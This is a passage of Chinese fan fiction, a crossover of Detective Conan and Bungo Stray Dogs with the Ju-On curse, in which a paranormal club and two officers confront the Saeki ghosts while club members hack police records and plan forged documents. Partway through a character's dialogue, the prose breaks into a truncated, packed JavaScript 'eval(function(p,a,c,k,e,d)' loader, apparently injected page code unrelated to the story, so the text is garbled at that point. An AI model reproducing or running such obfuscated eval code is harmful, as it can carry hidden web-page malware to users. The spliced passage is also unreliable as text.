松田阵平闻言一愣,他摸了摸口袋,从里面摸出一块被卫生纸包裹成糖果形状的东西。 松田阵平:…… 那个时候的他以为对方送自己的是真的水果糖。 在医院的时候,松田阵平本来想把东西作为证物交给班长的,被夏楠一打岔给忘了。 “警官先生打开看看?” 松田阵平:…… 他慢慢拧开那皱巴巴的卫生纸,荻原研二凑近了看,连千寻都凑了过去。 只有稳重的织田作之助还坚守在监控屏幕前,一边关注着摄像录制视角的情况,一边留意着佐伯宅内各项数据的变化。 “里面是……” “这什么?头发?等会儿,那是头皮屑吧。” 荻原研二拿起来一点仔细看了看,“应该是头发。” 很短的一小撮头发,包在纸里。 夏楠忽然开口,“另一位警官先生,就保持这样,对,保持这样把你手里的那点头发带在身上。” 荻原研二有些僵硬的捏着头发。 这怎么带,直接装? 不好吧,怪怪的。 等等,难道这就是小阵平被……额,附身的原因,一撮头发? 他刚想问,那边夏楠已经在说话了。 “纸上有东西吗?” 松田阵平示意了一下,“符?是叫这个吧,有图案。”他怕夏楠看不清,打算拿到他旁边去,被夏楠制止了。 “请向观众们展示一下,确保完整拍摄下来就可以了。” 松田阵平有些犹豫,“这种有实际效力的符,不好随便给人看吧,万一有人学着画呢?” “关于这一点,请放心,不是什么人都有那个能力让它发挥实际的效用的,而且我们后期会打码,你要做的就是让观众知道,确实有这么个东西。” “好吧。”松田阵平来到摄像机前,将手里的卫生纸上那副不知名图画展示了一下。 “这就是那个方法了,”夏楠接上了之前的话题,“那位自诩艺高并十分大胆的家伙,正在有倾向的为‘伽椰子’提供食物,而你,警官先生,恭喜,你中选了。” 松田阵平:……那还真是谢谢了。 “这应该是一种替身类的术法,当然,这只是我的推测,我对本国内的一切术法都不甚了解,虽然不知道他的筛选是依据什么来进行的,但是作为行动的一环,那位假护士明明感染了诅咒却能一直免于‘伽椰子’的索命,很大概率就是因为这个术法。” …… “……原来是这样吗。” 夏楠点点头,“好了,搞清楚这些,现在,说一下咒怨能做到什么。” “首先,所谓的失踪,这类和神隐有着类似功效的能力,很抱歉目前我无法给出一个合理的科学的解释,毕竟异空间或者空间传送门这种现阶段无法实现的技术连个有力的理论支撑体系都没有,所以……为了保持探灵社一贯的风格,就叫它量子力学吧。” 旁听几人:…… 夏楠继续输出,“……至于幻觉,这种认知干扰,我们都知道磁场干扰,人的大脑也会受到这种干扰,甚至于,我个人是怀疑咒怨当中存在着能直接作用于人类大脑当中的认知系统的特殊的生物波,这种生物波就是使人产生幻觉的罪魁祸首。”他停了一下,“当然,这也是没有实际依据的推论。” “幻觉使咒怨在被标记的人的认知当中重新拥有了形体,甚至具有了一定的物理攻击性,就像一个人认为他很冷,后来他冻死了,但幻境温度其实并不是能冻死人的温度,这种。” “真实的物理攻击是并不存在的,但幻觉会告诉你存 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夏楠对他摇摇手指,“不是女鬼,女鬼的形象只是她濒死时形象的投射,包括动作,也是想象的一部分。” 千寻闻言,不知道想到了什么,抖了一下。 夏楠不再逗他,回过头问织田作之助,“现在几点了?” “四点四十七。” 夏楠看了看天边,“倒是个好时间……”他忽然又看向千寻,“怎么样?” 千寻一直在捣鼓自己的电脑,闻言说道,“差不多了。” “那一会儿,小织就拜托你了。” 千寻沉默一下。 “你有把握吗?” 夏楠没有正面回答,只是说,“我并非独行,”这一句是中文,紧接着,他对织田作之助说,“去叫惠子吧。” —————— 天已经在翻白,太阳快出来了。 荻原研二找了张纸包了点大概率属于芙季绘的头发碎,装到了身上,他和松田阵平正站在一起,手里拿着刚刚从手腕上取下来的用红绳穿着的铜钱。 另一边,夏楠正在和吉川惠子说话。 两人说话的声音不大,荻原研二有心想听,却听不太清楚,想凑过去一些,又被织田作之助拦了下来。 “吉川是委托人。”织田作之助说道。 荻原研二有些没get到织田作之助的意思,还好旁边有千寻牌翻译。 “虽然吉川是社员,但她也是委托人,探灵社有责任与义务保障委托人的个人隐私不被泄露,”千寻不知道什么时候,已经将他一直不离手的电脑收进了背包里,这会儿正背在背上,“警官先生,有探究欲是好事,但过分的探究欲就不叫探究欲了。” “那叫窥/私/欲。” “而且,社长现在正在交代吉川的可是我们探灵社的保密技术,你难道什么都要凑上去听一耳朵么?” 荻原研二:…… 他抱歉的笑了笑,“不好意思,我……” “嗯?”夏楠已经过来了,他的身后跟着吉川惠子,“怎么了?” 松田阵平接话,“我真的很好奇,你选社员的标准是什么?” 夏楠挑眉,看了一眼一旁的织田作之助和千寻,接着重新看向松田阵平,“是秘密哦。” 料到夏楠不会回答的松田阵平没有继续纠结这件事,他只是想把这次的小冲突化开。 荻原研二看了眼吉川惠子,经过一个多小时的休息,这位女士的脸色看上去已经比之前好了很多,行动也利索了很多,“她也去?” “需要惠子收尾,”夏楠这次倒是回答了,“毕竟惠子身上的吸引力比我们要高的多。” “没问题么?” 夏楠打了个响指,“跟着计划走,不会有问题,而且,你们以为我为什么要一起跟进去?” “就是为了防止意外。” 他看了眼天色,转身率先走向房屋正门,“好了,走吧,早点解决。” 松田阵平和荻原研二迅速跟上。 就在这时,一直没怎么说话的织田作之助忽然开口,“夏目。” 夏楠转过头,看向他。 织田作之助看着夏楠,依旧是一副情绪很稳定的样子,“注意安全。” 夏楠看了他一会儿,冲他眨了眨眼,“小织呀,等事情解决,一起去游乐园吧,老板请客~” 织田作之助闻言笑了一下,“好。” 夏楠回过头去,“照顾好千寻哦。” 正门被拉开,三人鱼贯而入。 松田阵平和荻原研二的护身符被留在了外面,之前在院子里的时候感受还不是很明显,现在进入房子里,也不知道是不是心里作用,这里的确——有点压抑。 夏楠的目的很明确,他直奔二楼。 两人在他身后跟上。 木制的楼梯每踩一步都会发出咯吱咯吱的声音,二楼的那间房的房门开着,里面正亮着灯光。 三人相继走了进去。 夏楠来到房间内被调整角度后正对着壁橱的那个摄像前面,“现在,表演开始。” 一边的松田阵平:“亏你还记得这些。” 夏楠回过头,冲着松田阵平笑了笑,自己往墙边一站,靠在了墙上。 “你们需要当我不存在,不要再看我了。”他说着,明明还是相同的表情,相同的姿势,整个人的气势、或者说氛围,却产生了很大的变化,像是原本很夺目的一个人,突然变的几乎失去了所有存在感。 松田阵平和荻原研二明显察觉到了这种变化,他俩很好奇夏楠是不是接受过什么特殊的训练,但现在显然不是说这些的时候。两人于是对视一眼,转了个方向,面朝壁橱,轻轻放缓了呼吸。 不知道过去了多久,或许有五分钟,或许没有。 他们听到了一声猫叫。 眼前的景象忽然发生了变化,像是褪色的旧照片,又像是老旧电影里自带的古早滤镜。 二人不由自主的想到了夏楠之前所说的认知干扰。 从前的画面正在以——旧——的形式展现在他们的面前。 “喵——” 12. 十二 “喵——” 一只黑猫从两人脚边穿过,然后,被一双小手抱了起来。 ——佐伯俊雄。 在看清手的主人的脸的同时,松田阵平与荻原研二的脑海里立刻闪过了这个名字——最初的受害人之一,佐伯伽椰子的儿子。 小男孩抱着黑猫,眷恋的将脸颊贴在黑猫的耳边,轻轻蹭了蹭,小小的脸上扬起一抹幸福又柔软的笑容。 两人看在眼里,心情都有些复杂。 还是个孩子啊。 他才九岁,他的时间被永远定格在了九岁。 佐伯俊雄与猫玩耍了一会儿,然后抱着猫,走到了床边。脱了衣服,打算睡觉了。他将猫放在地上,摸了摸猫的脊背。 小男孩钻进了被窝里。 夜幕早已降临。 小男孩似乎睡着了,黑猫顺着门缝钻了出去。 松田阵平与荻原研二对视一眼。 荻原研二走到门边,将手放在了门把手上——居然真的能摸到。 他不由自主的,再次想到夏目社长说过的话——认知干扰。 荻原研二谨慎的拉开了房门。 黑猫应该是这里的家养猫,它很熟悉室内的环境。荻原研二与松田阵平跟在黑猫身后,走到了楼梯的转角处。 感觉有点像RPG游戏——荻原研二想到。 紧接着,他被松田阵平抓住了胳膊。 “等等。” 松田阵平的话刚刚说完,一只手忽然从空无一物的空气里冒了出来,一把掐住了黑猫的后颈。黑猫受到惊吓,又吃痛,瞬间叫出了声。凄厉的猫叫回荡在室内,紧接着,嘎然而止。 黑猫被那只手拧断了脖颈,毫不留情的。 然而,事情并没有就此停止,手的主人似乎并没有因为黑猫的死亡而停止自己的暴行的意思。 另一只手出现了。 新出现的手里握着一把闪着寒光的刀,手的主人将猫重重扔在楼梯上,刀尖凶狠的、一下一下刺入黑猫早已没了生息的躯体。 一场无声的暴行。 松田阵平的嘴角紧紧抿着,他已经意识到了,看到眼前这一幕,他已经意识到这栋凶宅,或者说,这里的咒怨要展示给他们的,是什么了。 一道来自房门的吱呀声忽然在静谧的空气中响起。 荻原研二低声说了一句,“不好。” 声音的来源是二楼,荻原研二一早就注意到了大约是因为猫的叫声而出来查看情况的原本该在床上睡觉的佐伯俊雄,小男孩在出门的时候很小心,身上只穿了内裤,他就那样趴在门口的栏杆边,看到了楼梯间内正在上演的血腥一幕。 他被吓到了,转身跑回房间,却不小心弄出了声音。 正在行凶的双手停了下来。 他发现了。 松田阵平与荻原研二心头一紧。 “俊雄——” 这是一个成年男人的声音,他知道了,他知道谁在二楼,他知道俊雄看到了。 荻原研二与松田阵平也看到了。 那双从空气里伸出的手逐渐凝实,连带着身躯,也一并显现出来。一张他们不久前在档案里曾经看到过的脸出现在他们面前——佐伯刚雄。 男人的脸上带着扭曲的神情,一步一步,慢慢走了上来。 “俊雄——” 松田阵平捏紧了拳头,“hagi,你说我现在揍他一顿,怎么样?” 明明早就知道如今发生在他们面前的一切都是来自过去的投影,却还是忍不住想要揍人的心。 ——什么品种的辣鸡? 佐伯刚雄已经走到他们面前了。 在之前的幻觉里,小男孩佐伯俊雄仿佛看不到他们一样,他们就像置身一场真实的梦境,只能看着一切按照原定的轨迹发生——至少两人是这么认为的。 但事实,真的是这样吗? 佐伯刚雄停下了。 他的嘴里还在一遍一遍叫着俊雄的名字,那双布满血丝犹显得疯狂的眼珠突然转了一下,从对着楼上俊雄房门的方向,转到了正恶狠狠的瞪着他犹豫着要不要干脆先把人揍一顿的松田阵平与荻原研二的方向。 ! 变故突如其来,二人都被吓了一跳,但紧接着,一个拳头毫不迟疑的朝着佐伯刚雄的脸招呼了过去。 是松田阵平。 捏紧的拳头带着风,在马上就要砸到佐伯刚雄那张疯狂的脸上的时候,楼上的房门开了。 松田阵平的拳头停了一下。 不是俊雄那一间。 ——伽椰子。 ————与此同时,另一边———— 千寻背起了自己的宝贝电脑包,对正看着监控屏幕的织田作之助说道:“别看了,我们该走了。” “放心吧,数据我都有备份,只要社长还在这里,信号就不会被干扰,”千寻双手插兜,“只要信号不被干扰,有我在,素材就丢不了,一帧都丢不了。” 监控内,楼梯间的部分拍的并不全面,只能拍到正在瞪空气的松田正平与荻原研二的上半身,以及松田阵平挥出一半的拳头。 织田作之助只扫了他们一眼,就看向了另一个视角。 夏楠正在那里,他靠在墙边,几乎如同融入了背景一样,因为后续调整过摄像的角度的原因,夏楠如今站的地方刚刚好是拍摄的死角。大概因为本人隐藏的其实比较随便,又或者是故意的——他的小半条腿露出在监控画面的角落里——眼尖的织田作之助找到了这小半条没藏好的腿。 磁场读数正在逐渐升高,夏楠所在的房间的温度也在稳步降低。 织田作之助抬头看了一眼那间房子的窗户。 灯光在闪烁,但还好,虽然太阳还没有升起,此时的自然光已经足够亮了。 至少在这样的光线下,视力很好的织田作之助能看到靠在墙边的夏楠那小半张侧脸。 他似乎注意到了织田作之助的视线,冲着这边微微侧了侧脑袋,却并没有把目光移过来——夏楠一直闭着眼睛。 ——为什么要闭着眼睛呢? 织田作之助的心里产生了这样的疑问,接着,又有了属于自己的猜测。 本来还对夏楠颇为关注的两名警官在磁场读数开始震荡之后,表现的仿佛完全忘记了还有这么一个人的存在一样,当然,这也许和进去之前就已经协商好的——忽略夏目的存在——有关系,但房间内的所有异象,特别是呈现在热成像画面当中清晰可见的异象,也都绕开了夏楠,或许,这就是夏目要闭着眼睛的原因? “喂,你听到了没有?”千寻凑到了织田作之助身边,顺着对方的视线往楼上看去——没怎么看清,他有点近视来的,“我们得走了,喂,织田!” “再不走条子要来了!” 千寻看了眼手机,干脆上手拽住了织田的胳膊,结果被对方条件反射的反手扭住了手臂。 “疼疼疼疼,松手松手!” 织田作之助的视线终于从夏楠身上移了回来。 “抱歉。”他松开了千寻的手臂。 千寻揉了揉自己吃痛的手腕,“毫无诚意,免了,”他撇了撇嘴,嘀嘀咕咕,“如果不是那家伙拜托我照顾你……” 仗着眼睛隐藏在厚厚的刘海下面别人看不真切,千寻当着织田作之助的面翻了个大大的白眼,“行了,别看了,社长不会有事的,他不想让我们和被警方扣押,你知道的吧,更不想我们和警方起冲突,现在警方马上就到了,还不走,你是想破坏他的游戏吗?” “嗯,走吧。” 织田作之助迈开步伐,好像刚才一直锈在原地不走的人不是自己一样。 千寻:…… 他烦躁了挠了挠头,快步跟上了。 “你的手还好吗?” “不好,我的手有多金贵你知道吗?” “你不知道,你不仅不知道,你还扭它。” “我会和社长告状的。” “……抱歉。” “嘁——” “喂,你干什么,你又要去哪?” 佐伯家正门前,吉川惠子正背对着门坐在那里,不知道在想些什么。织田作之助走到吉川惠子身边,从身上摸出了一柄短匕,递了过去。 吉川惠子迟疑的接过,“织田先生……?” “我们要离开了。”织田作之助说道。 “嗯,我知道,”吉川惠子扬起笑脸,“夏目先生已经告诉我了,请二位路上小心。” “这是夏目让我给你的,”织田作之助示意那柄匕首,“他说,拜托你了,惠子,你可以的。” 吉川惠子握着匕首的手在听到东西是夏楠给她的瞬间紧了紧,接着,在听完织田作之助的话以后,露出一个柔软的笑,“夏目先生……真的很温柔呢。” “是啊。”织田作之助赞同。 吉川惠子有些意外,她原本还以为织田作之助并不会这么想。 “我还以为,您会认为夏目先生很冷漠呢。” “他的确很冷漠。”织田作之助再次认同了吉川惠子的话。 吉川惠子瞪大了眼睛。 织田作之助又说,“我们该走了。” “你还知道该走了,再晚会在路口碰上他们的,你想在市区上演生死时速吗?”千寻不知道什么时候凑了过来,他看了一眼吉川惠子手里的匕首,又很快移开视线。 千寻对着吉川惠子开口,“社长总说你很厉害,吉川,希望你是真的很厉害。” 吉川惠子绷紧了脸。 “行了,别再浪费时间了好吗?” “你们道个别都要这么婆婆妈妈的吗?” 刘海下的眼睛再次翻了个白眼,千寻转身往外走去。 —————— 如同那只被直接拧断了喉咙的无辜的猫一样。 佐伯刚雄的手法非常,非常的简单,且有效。 松田阵平和荻原研二终于弄明白了,为什么这个人在残忍杀害了自己的妻子与儿子之后,并没有马上暴露。 ——这家伙学会了物理捂嘴。 松田阵平的那一拳最终并未落在佐伯刚雄的脸上,在伽椰子出来以后,场景变了。 佐伯刚雄从他们的眼前消失了,取而代之的,是一阵阵咯咯咯的声音,从大约是属于夫妻二人的卧室的方向传来,松田阵平与荻原研二对视一眼,双双从对方的眼中寻找到了自己的答案。 去看看。 看看当年到底发生了什么,就算不能阻止。 然而,刚刚走到门口的两人迎面撞上了闪现的佐伯刚雄。 男人的手里拿着刀,刀尖还在滴血,他的身后,伽椰子的脑袋不正常的耷拉着,她还没有完全咽气,呼吸间气流通过折断的咽喉与气管,发出连串古怪的咯咯声。她的眼睛翻了起来,正瞪着这边。 瞪的并不是佐伯刚雄,而是刚刚来到门口的松田阵平与荻原研二两人。 不好! 两人心底一突。 就在这时,一道银光闪过,松田阵平敏捷的避开——是佐伯刚雄。 他刚想反击,场景又变了。 一片漆黑。 外面是夜晚,稀少且暗淡的光源让两人一时之间失去了部分视觉敏感度。 “小阵平!” 荻原研二凭借着直觉躲过了佐伯刚雄的又一次袭击,这个时候,他听见砰的一声响动。荻原研二闭上眼睛,微微后退,缓了一下,紧接着再睁开。 松田阵平正对着佐伯刚雄补了一脚。 “这不是能打嘛。”他说着,上前打算直接把佐伯刚雄手里的刀缴了——佐伯刚雄不见了。 “喵——” 猫叫,又是猫叫。 两人警惕顿时升起,赶忙后退几步,凑到了一起。 “咯咯咯咯咯咯咯咯咯——” 熟悉的咯咯声,两人下意识回头看向原本伽椰子倒地的地方——那里已经空无一人。 “喵——” 猫叫声就在脚边,荻原研二扫了一眼。 ! 是佐伯俊雄,他依旧是那副睡觉时的装扮,就穿了一条内裤,浑身惨白,正抱着膝盖蹲在旁边,面无表情的瞪大眼睛,张开嘴。 “喵——” 如同与猫叫声呼应一样,咯咯咯咯的声音几乎同时从身后的方向传来。 两人背靠着背,呈战术防备姿态调整了视角,看过去。 松田阵平终于弄明白了那天他在监控屏幕的热成像画面里看到的触手一样从天花板伸出来的究竟是什么东西。 他浑身发寒,不知道是环境影响,还是单纯的害怕。 一个女人,披散着头发,正从 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两人达成一致,于是一边警惕着伽椰子的动向,一边开始往楼梯间移动。 “等……”荻原研二的腿上忽然一冷,他低头一看,是佐伯俊雄,正用手臂死死的抱住他的腿。 面对小孩子,荻原研二一时犹豫,可伽椰子的咯咯声已经近在咫尺。 “hagi!” 松田阵平忽然冲了上来,对着佐伯俊雄就是一脚,一声凄厉的猫叫声从被踢开的俊雄嘴里发出。松田阵平顾不上许多,他伸手把几乎要被伽椰子碰到的荻原研二拉开,“走!” 荻原研二回过神来,与松田阵平一道冲下了楼梯。 两人在这边上演惊险的躲避战,另一边,佐伯宅正门外,吉川惠子听着由远及近的警笛声,眼睛望向院子外道路的方向。她的左手放在胸前,手心里是夏楠给她的护身符。 近了。 闪着警灯的车辆出现在了她的视野里。 ——惠子,要让他们看到你,但又不能给他们阻止你的机会,你要让他们看着你走进房子里,却不能让他们意识到你是故意在等他们。 要让他们看到,又不能显得很刻意。 吉川惠子收回视线。 她不知道夏目先生具体要做什么事,她也不执着于去了解所有的细节。 她只知道,是夏目先生给了她机会,复仇的机会。 而现在,夏目先生将终止这一切。 吉川惠子一把扯掉了脖子上的护身符,并故意将刀握在了朝向院门的一侧。 近了。 有警察打开院门走了进来,他注意到了站在房门口的吉川惠子。 “不许动!” 吉川惠子充耳不闻,她拉开房门,走了进去。 ——惠子,在警察进入房子之前,你要将那两名警官引到一楼,保护好自己,保护好他们。 吉川惠子捏紧了手里的刀,反手将房门关上。接着,她缓缓吸了口气,走到了楼梯旁。 …… 松田阵平与荻原研二刚刚从楼梯上冲下来,差点撞到站在楼梯口的吉川惠子。 “吉川小姐?!” “是准备好了吗?” 吉川惠子摇了摇头,“我不知道。” 她的视线越过两人之前的缝隙,看向了正在以一种诡异的姿势爬过来的伽椰子。 “那现在……”荻原研二看到了吉川惠子手中的刀,“惠子小姐,你……小心!” 被他们忽略的佐伯刚雄忽然出现在吉川惠子身后,伸出手掐住了吉川惠子的脖子,千钧一发之际,松田阵平与荻原研二一个出拳一个捞人,可佐伯刚雄力气极大,尽管被揍,手却丝毫没有放松。 两人余光看着身后已经很近的伽椰子、不知道什么时候出现并蹲在不远处的佐伯俊雄,这种被三面夹击的感觉实在不好受。 就在这时,惠子动了,她抬起握着刀的手,一刀刺向了佐伯刚雄的手臂。 恍惚间似乎看到吉川惠子手里的刀尖上有一闪而过的青色气流的松田阵平:…… 好,很好,现在就算原地发生什么宇宙大爆炸之类的事件他都不会再惊讶了。 佐伯刚雄的手终于松动了一点,荻原研二趁机将吉川惠子解救出来,松田阵平适时上前对着佐伯刚雄又是一脚,紧接着,两人架着呛咳不止的吉川惠子,往一楼和室的方向跑去。 一个护身符从吉川惠子背着的手中掉落在楼梯口,急着移动躲避的二人都没有注意到这一个小插曲。 几人刚跑进和室,周围的场景在他们眼前再次变幻。 一名老太太坐在被炉边,神情呆滞,不大的房间里到处都是垃圾和难闻的气味,被炉的桌面上,发霉的食物堆叠在一起。 梅开二度。 此时,一墙之隔的门外,几名警察正在空无一人的探灵社临时基地旁边查看监控。 伊达航镶了个边。 他正担忧的看着监控内的情况,特别是热成像那边的画面,初看还有些不适应,习惯后只觉得头皮发麻。 警察们的神色看起来很严峻,还好房子里的情况尚且还在可控范围内,因此他们也只是守住了佐伯宅的出入口,并没有贸然入内。 这时,门外又来了一辆车。 这次的行动由警视厅内专门对接这类案件的警部直接指挥,此时这位警部就在现场。 他看了眼门外的车,车上下来几个人,为首的正是夏楠之前在医院见到的胡子中年。 “总算来了。” 警部的表情有些不悦,却也没多说什么。 他朝着那胡子中年走了过去,“我们的人和嫌犯都在里面。” 胡子中年有些诧异,“他们都进去了?” “有三个不知所踪。” 胡子中年沉思一会儿,“会不会跑了?” “目前还没有定论,石黑先生,你能把里面的三个人带出来吗?” 胡子中年点点头,“当然,警部,请稍候片刻。” 他说完便向着正门的方向走去。 伊达航正凑在监控屏边仔细观察,忽然,他发现了一个人的身影。 13.十三 来了啊。 时间拉回出发来东京的前一晚。 送走吉川惠子和井下朋花以后,剩下的三人开了个任务会议,会议内容有三个,一个是即将直接接触的佐伯家的诅咒,一个,是吉川惠子。 最后一个…… “吉川惠子这个名字,或者说这个人,出现在十个月前,至于她之前的名字……”千寻的调查很给力,据他自己所说,他的黑客技术能排世界前三,“……档案上是没有明确关联的,十个月前的吉川惠子只存在于数据,也就是说,她目前的身世、过往经历,都是捏造的。” “但这些难不倒我,我通过人脸比对……哦,这项技术实际上还不成熟,这不重要,”千寻切幻灯片,“人脸比对的结果,十个月以前的一年,在千叶县,有个名叫大岛香织的人。” 照片里是一个经典辣妹风格着装的女性。 “看,虽然换了外型,脸是不是一模一样?” “再往前,小野寺、小林、三本、等等,目前能通过比对确认的名字就有六个,一年一换。” 夏楠摸了摸下巴,肯定道,“有人在帮她。” 千寻点点头,“没错,问题是,这个人是谁。” “我调查了吉川一家的联系记录,这可是个大工程……” 刘海下的眼睛扫一眼夏楠,再扫一眼 夏楠看他,“虽然我也很想发奖金,但很可惜,现在的探灵社可是很穷的,”他停了一下,语气里带着笑,“还是说,你想要夸夸?” …… 千寻咳了一声,“那就先欠着,”他接着说道,“有一个人,只有在每年吉川一家换身份的前一个月左右,会和他们联系几次。” 照片切换,投影里出现了一个男人的身影。 “产屋敷和彦,产屋敷辉利哉的玄孙,没错,就是那个活了好久的老妖怪……”千寻顺便放了一下产屋敷辉利哉的照片,又切了回去,“产屋敷一家是盘踞日本多年的老牌世家,他们有自己的私备武装部队和医疗队,合法的,本家在四国岛香川县高松市。” “他们的武装部队,名为鬼杀队,据说传承已经有千年,”千寻撇了撇嘴,“老牌世家的通病,数据资料留存十分稀少,能查到的太少了。” “总之基本可以确定吉川一家是在产屋敷家族的帮助下一年换一个身份,啧,这么多年居然没人发现。” “……原来如此,”织田作之助说道,“如果是那个家族,确实能做到这样的事。” 夏楠感兴趣的问道,“小织认识?” “以前交过手,和鬼杀队的一名柱。” “柱?” “似乎是把鬼杀队内剑术最高超的几人称为柱。” “这样么……” 夏楠想道,这种设定,难道又是哪部动漫作品? “我继续说了啊,”千寻敲了几下键盘,“之前联系军警要的推荐已经拿到了,只是……”他放出了推荐信的内容,“我们要求的是得到当地警方的进入调查和拍摄许可,但推荐信里说的是——请求协同调查。” “因为觉得有点奇怪,就顺手查了一下……” 千寻再次放出一份档案。 “你们自己看吧。” 是横滨警视厅登记留存的特殊民间机构档案,探灵社的。 最终的评价一栏里赫然写着——危险等级:高。 “不可控?”夏楠挑眉。 织田作之助开口:“是因为……”我么? 他还没说完,千寻已经给出了答案,“有篡改的痕迹,只要查,还挺明显的。” “故意的?” “只有这个可能了吧,”千寻又调回了之前推荐信,“还有这个,也是被调换了的,原件就在军警的邮箱里,搞事的人都没把它删了。” “东京警视厅那边收到的是调换之后的推荐信。” 千寻看向夏楠,“你最近惹了什么人么?” 夏楠回想了一下,无辜的摊开手。 千寻:…… 他双手在胸前一抱,“总之就是这样,你怎么看,社长先生?” 包括织田作之助在内,两双眼睛都投向了夏楠。 夏楠思考了一下,“篡改档案的和调换推荐信的,是同一个人么?” “不一定,手法都很粗糙,前一个可能是真的粗糙,毕竟只要能接触到数据库的人就都能做到,干这事的人甚至不知道这种东西在上传的瞬间就会自动在备用数据库里备份。至于第二个的话,有一定难度,”千寻依旧抱着双手,“我是说,对普通人来说有一定难度。” “难点不在掉包,掉包的话,熟人作案也是可以做到的,难点在掉包之后居然不删除原件。” “就是顺手的事。” 千寻的语气充满不解,“怎么想的?” “也就是说,很有可能是两个人?” “对,就算是模仿作案,动机呢?”千寻扬起下巴,“这么粗糙的手法,稍微一查就漏洞百出,”他又说了一遍,“怎么想的?” 夏楠抬起一只手,点了点下巴。 他想起了自己之前的占卜结果。 夏楠的目光投向了织田作之助。 织田作之助注意到夏楠看过去的视线,会意道,“果然是因为我么。” “嗯?”夏楠看着他说道,“不一定,如果是两波人的话……里面至少有一波是冲着探灵社来的,或者说,冲着我,吧?” 真有意思。 危险等级高的评价,是为了什么呢? 探灵社挡了谁的路了么? 不应该啊,他才刚来横滨没多久,一个小小的灵异事件调查会社,会挡了谁的路? “如果是同一个人做的话……” 还是那个问题,目的呢? 夏楠看向千寻,“还有别的么?” 千寻抱着胳膊,“别的,倒确实有一个。” “你们之前发的第一个视频里,那个卧底警察留下来的遗物,丢了。” “至少明面上是丢了。” “发现货不对板的是公安,军警在移交之前因为没有权限和密匙,所以并没有看里面的内容,作为曾经接触过遗物的人之一,恭喜你,社长先生,不出意外的话,你已经上嫌疑名单了。” “夏目不会是嫌疑人,”织田作之助说,“从拿到遗物到把东西交给军警,这段时间夏目和遗物都在摄像范围内,他们拷贝过去的录像足够证明夏目是无辜的。” 千寻摊手:“好吧,我就这么一说,除了这个以外,还能有别的可能么?” 听着两人说话的声音,夏楠的手指一下一下点在下巴上,他微微垂着眸子,神色不明。 ——原来如此。 “小织,你也碰了,”夏楠轻声重复了一遍,“你也碰了。” 织田作之助回忆了一下:“……啊。” 还真是。 他当时从墙里拿出盒子,到将盒子交给夏楠…… “千寻,能查到军警那边拷贝的录像么?” “……你怀疑录像也被人动了手脚?”千寻开始操作,“等等,我看看。” …… “你们把盒子从墙里拿出来的画面不见了,”千寻这里很快有了结果,已经摸进去过一次,这次再摸轻车熟路,“等一下我下载……” 他脸色忽然一黑,他敲击键盘的速度猛的加快,噼里啪啦的声音响起,过了一会儿才停息。 千寻活动了一下手腕,“哼,小把戏,还想套我。” 织田作之助凑了过来,满屏的代码他看不懂,只能问,“出什么事了?” “视频被加了料,下载会被反向追踪,我将计就计了一下,”千寻看向夏楠,“对方就在横滨,可惜没有精确的地址,跑的倒挺快。” “大致范围呢?” “这里,”千寻转过屏幕给夏楠看了一眼,“这附近吧,在你们这里还挺出名的,是叫擂钵街吧,我记得。” 夏楠:…… 他看了眼织田作之助,“说起来,织田,你之前说过,有人建议你加入港口黑手党,那个人是?” 织田作之助回答,“是我认识的一位友人,名字的话,叫太宰治。” “他也是港口黑手党的人么?” “不是,但是听说,他的一位长辈是港口黑手党首领的私人医生。” “哦,这个我知道,叫森欧外,也是一个机密,”千寻说道,“你们这边机密可真多啊,该说不愧是横滨么?” 夏楠窝在了椅子里。 ——太宰治。 “千寻,你在这里兼职的事,还有什么人知道?”夏楠问道。 千寻刷的一下坐直了,“什么意思?” “意思是,博多著名的情报贩子,你在探灵社兼职的事,还有什么人知道。” 明明是问句,却被夏楠说成了陈述句。 千寻:“……没有人,我有几个经常交易的客户,他们知道我在横滨有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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千寻:“你有想法了?” “有那么……一点点吧,”夏楠说道,“横滨可真是个有意思的地方,想在这里生存,还得先亮亮招式,比划比划实力。” “千寻,把推荐信弄的再假一点,最好是那种,一眼看上去是真的,细看处处都有漏洞的类型,措辞模棱两可一些,以防东京警视厅那边跟军警这边确认的时候第一句就露馅。” “还有探灵社的档案,也稍微改一改,什么不可控就高危了,没有这么儿戏的理由,就改……我吧,我的过往经历不可查,初步接触后判定具有一定反秩序心理,能力成谜什么的,编的像样点,要那种,怎么看都好像是那么回事,需要仔细去查才能查出不对的,那种。” “留个小小的漏洞。” “可以是可以,但是你在海外的资料还挺全的啊?” “哦?你查过?” “警视厅查过,我就是顺便看了一眼。” 千寻问道,“你要干什么?” “干什么?”夏楠笑了,“顺他的意,将计就计。” “咱们探灵社,也可以弄个大腿抱抱。” 要自己缩手缩脚,不好意思,做不到。 可不缩手缩脚,又总会有像这次一样不长眼的家伙凑上来想咬一口。 呵,闹呢。 给他们脸了。 ——————时间回到现在—————— 夏楠听到警察们冲进院子弄出的动静。 来的人不多,大概四五个,可能只是先批次的人。 他站在原地没动,只是调整了一下角度,保持着自己的一小部分身体依旧能入境,将自己尽量往角落里塞了塞,避开外面警察能看到的区间——闭着眼睛总归是有些不方便。 正门开启又合上的声音,松田阵平与荻原研二弄出的声音——惠子进来了。 夏楠终于动了,他的指尖挨着墙面,心里回忆着房间内陈设的方位,顺着墙壁,慢慢找到了门,然后出门。 楼梯的扶手,一层,两层。 夏楠顺着楼梯走,来到一楼,缓缓下蹲,伸出手,精准的摸到了一个护身符——他自己的力量做的护身符。夏楠将护身符拿起来,微微侧着脑袋,辨别了一下方向。 松田阵平与荻原研二他们正在一楼的和室里,惠子也在那。 情况似乎有些不妙的样子,不过问题不大。 他就站在楼梯口的地方,开始等待。 和他仿佛不在一个图层的同样一个地方,伽椰子正一遍,一遍的爬过楼梯。形状可怖的‘女鬼’几次穿过夏楠的脚边,却仿佛没发现这里站了个大活人一样,只顾着蒙头往前爬。 怎么还不进来呢? 夏楠百无聊赖的想。 14.十四 和室内传来了重物倒地的声音,在这一刻,幻觉消失,泛黄的老照片重新填充色彩,真实的世界回来了。 “夏目先生!” 吉川惠子眼尖的看到了夏楠,情绪放松之下,出口喊了一声。 松田阵平倒在了地上,无他,腿软。不是他自己想软,而是克制不住。伽椰子攀附在他身上的时候,松田阵平一直在对抗,无论是失控的情绪,还是不受控制的身体。 ——不要恐惧,不要退缩,不要犹豫。 争取时间。 也不知道到底###的争取的什么###时间。 松田阵平内心放飞自我——不就是被女鬼缠在身上么,不是是被摸了么,哈哈哈,哈哈哈哈…… 